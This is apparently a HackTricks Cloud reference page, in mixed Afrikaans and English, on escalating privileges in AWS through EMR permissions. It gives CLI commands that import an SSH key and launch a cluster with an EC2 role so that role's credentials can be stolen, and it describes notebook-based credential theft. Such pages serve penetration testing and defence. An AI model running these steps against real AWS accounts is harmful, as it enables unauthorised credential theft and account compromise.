AWS - EMR Privesc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
EMR
Meer inligting oor EMR in:
iam:PassRole, elasticmapreduce:RunJobFlow
’n aanvaller met hierdie toestemmings kan run a new EMR cluster attaching EC2 roles en probeer om die credentials daarvan te steel.
Let wel: om dit te doen sal jy know some ssh priv key imported in the account of om een te importeer, en in staat wees om open port 22 in the master node (jy mag dit moontlik met die attributes EmrManagedMasterSecurityGroup en/of ServiceAccessSecurityGroup binne --ec2-attributes kan doen).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Let daarop dat ’n EMR role gespesifiseer word in --service-role en ’n ec2 role gespesifiseer word in --ec2-attributes binne InstanceProfile. Hierdie tegniek laat egter slegs toe om die EC2 role credentials te steel (aangesien jy via ssh sal koppel), maar nie die EMR IAM Role nie.
Potensiële impak: Privesc to the EC2 service role specified.
elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole
Met hierdie toestemmings kan ’n aanvaller na die AWS console gaan, ’n Notebook skep en toegang kry om die IAM Role te steel.
Caution
Selfs wanneer ek ’n IAM role aan die notebook instance heg in my toetse, het ek opgemerk dat ek AWS managed credentials kon steel en nie creds wat verband hou met die IAM role nie.
Potensiële impak: Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Slegs met hierdie permissie sal ’n aanvaller toegang hê tot die Jupyter Notebook en die IAM role wat daaraan geassosieer is, kan steel.
Die URL van die notebook is https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
Caution
Selfs wanneer ek ’n IAM role aan die notebook instance heg in my toetse, het ek opgemerk dat ek AWS managed credentials kon steel en nie creds wat verband hou met die IAM role nie
Potensiële impak: Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

